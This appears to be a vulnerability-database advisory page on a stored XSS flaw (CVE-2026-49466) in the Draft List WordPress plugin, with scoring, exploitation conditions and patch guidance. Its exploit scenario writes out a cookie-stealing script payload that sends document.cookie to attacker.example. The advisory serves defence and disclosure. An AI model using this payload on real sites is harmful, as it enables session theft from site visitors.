Skip to main content

Draft List CVE-2026-49466

| EUVDEUVD-2026-57514 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-12 GitHub_M GHSA-7f2v-x3jw-5w6g
6.5
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Acquire WordPress Contributor account
  2. Delivery
    Craft draft post title with attribute-breaking payload
  3. Exploit
    Submit draft (stored server-side)
  4. Install
    Victim loads public page with Draft List widget
  5. C2
    Plugin renders raw title into HTML attribute without escaping
  6. Execute
    JavaScript executes in victim browser
  7. Impact
    Session cookie or credential exfiltration

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concurrent conditions: (1) the attacker holds at minimum a WordPress Contributor account on the target site - the CVSS PR:L confirms authenticated access is required and anonymous exploitation is not possible; (2) a site administrator must have configured the Draft List widget or [drafts] shortcode with a custom template option that places the {{draft}} placeholder inside an HTML attribute (this is a non-default, operator-defined configuration - sites using only default or text-node templates are not vulnerable); (3) a victim must actively visit the public page hosting the widget or shortcode (CVSS UI:R). Exploitation is bounded by the intersection of these three requirements: sites with no Contributor-level users, or those using only default templates, are not affected regardless of plugin version.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L) accurately captures the network delivery and scope change to the victim browser. The PR:L requirement is a meaningful real-world constraint: exploitation depends on holding at least Contributor access to the target WordPress site, which is not an anonymous or mass-exploitation primitive. Multi-author sites - particularly those accepting guest bloggers or user registrations - are the realistic attack surface. The triggering condition ({{draft}} placed inside an HTML attribute in the configured template) is non-default and operator-controlled, further narrowing exposed instances. No EPSS data was supplied; absent KEV listing and without known POC code, there is no signal of active exploitation, making this a site-specific risk rather than a broad campaign target. The C:L/I:L impact reflects realistic session hijacking or credential-phishing scope rather than full site compromise. Overall priority is moderate for multi-author WordPress deployments using Draft List with attribute-context templates, and low for single-author or default-template deployments.

Exploit ScenarioDerived

A malicious Contributor creates a WordPress draft post with a title such as "><script>fetch('https://attacker.example/steal?c='+document.cookie)</script> - a payload containing a double-quote to close an HTML attribute. When the site's Draft List widget or [drafts] shortcode renders this title via a template with {{draft}} inside an attribute context (e.g., href or title), the raw title is inserted without escaping. Any visitor whose browser loads the public page containing the widget receives and executes the attacker's JavaScript, potentially exposing session cookies or enabling further account compromise.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 12, 2026

Stored XSS in the Draft List WordPress plugin (versions ≤2.6.3) allows a Contributor-level authenticated user to inject persistent JavaScript into public-facing pages by exploiting a sanitization ordering flaw in the [drafts] shortcode and widget template engine. The plugin sanitizes the template string before substituting the {{draft}} placeholder with the raw post_title, meaning a crafted title containing a double-quote can break out of an HTML attribute context and execute arbitrary JavaScript in the browsers of visitors who load the affected page. Version 2.6.4 resolves the issue; no public exploit code or CISA KEV listing has been identified at time of analysis.

RemediationAI

Update the Draft List plugin to version 2.6.4, available at https://github.com/dartiss/draft-list/releases/tag/2.6.4; this release patches the sanitization ordering flaw confirmed by the vendor advisory at https://github.com/dartiss/draft-list/security/advisories/GHSA-xxx9-hfqp-f83f. If immediate upgrade is not feasible, audit all active [drafts] shortcode configurations and Draft List widget instances to verify that no custom template places the {{draft}} placeholder inside an HTML attribute (e.g., as href, title, or data-* values); moving the placeholder to text node context removes the injection vector without disabling the plugin. Additionally, reviewing and restricting who holds Contributor (or higher) roles on the site reduces the attacker pool in the interim. Note that restricting Contributor roles has broader access implications and should be evaluated against site editorial workflow needs.

Affected VersionsENISA

draft-list < 2.6.4

Affected Packages

euvd draft_list fix: 2.6.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Draft List plugin (CPE: cpe:2.3:a:dartiss:draft-list) by dartiss provides a WordPress shortcode [drafts] and a sidebar widget that render lists of unpublished content using a configurable template string supporting a {{draft}} placeholder. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation): the plugin sanitizes the template for XSS before performing the {{draft}} → post_title string substitution, not after. This ordering means any XSS-relevant characters (notably double-quotes) in a post title bypass sanitization entirely. When a site administrator configures a template that places {{draft}} inside an HTML attribute - for example as a href or title value - a Contributor who lacks edit_posts capability can craft a draft title that closes the attribute, injects an event handler, and achieves stored XSS execution against site visitors.

Know when Draft List gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 6.5 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
vuln.today AI 4.4 MEDIUM

AC:H reflects the non-default operator-configured template condition required for exploitation; A:N applies as XSS carries no direct availability impact.

3.1 AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:P/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
Low

Lifecycle Timeline

2
Patch available
Aug 12, 2026 - 21:17 EUVD
CVE Published
Aug 12, 2026 - 19:26 cve.org
MEDIUM 6.5

DescriptionCVE.org

Draft List is a WordPress plugin to manage and promote unpublished content. Versions 2.6.3 and below are vulnerable to stored Cross-Site Scripting (XSS) in the [drafts] shortcode and Draft List widget when the documented custom template option places the {{draft}} placeholder inside an HTML attribute. The vulnerable code inserts the raw draft post_title into {{draft}} when the current viewer cannot edit posts. Because the template is sanitized before {{draft}} replacement, a Contributor can store a quote-only title payload that breaks out of an attribute in a site-configured Draft List template and executes JavaScript for visitors who load the public page. Version 2.6.4 fixes the issue.

Threat Intelligence Overview

EPSS Score
0.2%
Top 94% exploitable
Prevalence
Low
niche WordPress plugin with limited measured install base
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy